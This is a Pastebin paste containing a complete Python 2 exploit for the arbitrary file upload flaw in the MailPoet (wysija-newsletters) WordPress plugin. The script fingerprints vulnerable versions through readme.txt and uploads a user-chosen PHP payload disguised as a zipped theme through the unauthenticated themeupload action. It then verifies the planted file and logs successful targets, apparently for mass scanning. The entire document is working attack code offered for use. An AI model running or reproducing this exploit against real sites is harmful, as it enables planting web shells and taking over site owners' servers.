3xploit3r

mailpoet arbitrary file upload

Aug 24th, 2016
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # not coded by me
  4.  
  5. from random import choice
  6. import string
  7. import sys
  8. import re
  9. from zipfile import ZipFile
  10. from StringIO import StringIO
  11. import requests
  12. from colors import red, green, blue  # pip install ansicolors
  13.  
  14.  
  15. def version_compare(v1, v2):
  16.     def normalize(v):
  17.         return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")]
  18.     return cmp(normalize(v1), normalize(v2))
  19.  
  20.  
  21. def create_zip_file(theme_name, payload_name, payload):
  22.     files = {
  23.         "%s/%s" % (theme_name, 'style.css'): '',
  24.         "%s/%s" % (theme_name, payload_name): payload
  25.     }
  26.     zip_file = StringIO()
  27.     with ZipFile(zip_file, 'w') as zip:
  28.         for path in files:
  29.             zip.writestr(path, files[path])
  30.     zip_file.seek(0)
  31.     return zip_file
  32.  
  33.  
  34. def check(url):
  35.     readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url
  36.     res = requests.get(readme_url, timeout=15, verify=False)
  37.     if res.status_code == 200:
  38.         match = re.search("stable tag: (.*)[\r\n]", res.text, re.I)
  39.         version = match.group(1)
  40.         fun = green if version_compare(version, "2.6.7") < 0 else blue
  41.         print fun("[?] found version: %s" % version)
  42.         return version_compare(version, "2.6.7") < 0
  43.     else:
  44.         raise Exception("error getting version")
  45.  
  46.  
  47. def exploit(url, payload_data):
  48.     theme_name = '.tmp' # better to keep the chaos to one directory.
  49.     payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php"
  50.     zip_file = create_zip_file(theme_name, payload_name, payload_data)
  51.  
  52.     files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")}
  53.     data = {
  54.         "action": "themeupload",
  55.         "submitter": "Upload",
  56.         "overwriteexistingtheme": "on"
  57.     }
  58.  
  59.     target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url
  60.     payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name)
  61.  
  62.     print blue("[?] attempting to upload zip (%s)..." % target_url)
  63.     # Don't rely on checking response, have observed some strange behaviour even with successful upload
  64.     requests.post(target_url, files=files, data=data, verify=False, timeout=15)
  65.  
  66.     print blue("[?] checking upload (%s)..." % payload_url)
  67.     response = requests.head(payload_url, verify=False, timeout=15)
  68.     if response.status_code == 200:
  69.         print green("[+] found: %s" % payload_url)
  70.         return payload_url
  71.     else:
  72.         raise Exception("upload failed.")
  73.  
  74.  
  75. if __name__ == "__main__":
  76.  
  77.     if len(sys.argv) > 2:
  78.         payload = open(sys.argv[1]).read()
  79.         wp_url = sys.argv[2]
  80.         try:
  81.             if check(wp_url):
  82.                 res = exploit(wp_url, payload)
  83.                 if res:
  84.                     with open("found-sija.log", "a") as log:
  85.                         log.write("%s\n" % res)
  86.         except Exception as e:
  87.             print red("[!] %s - %s" % (wp_url, e))
Add Comment
Please, Sign In to add comment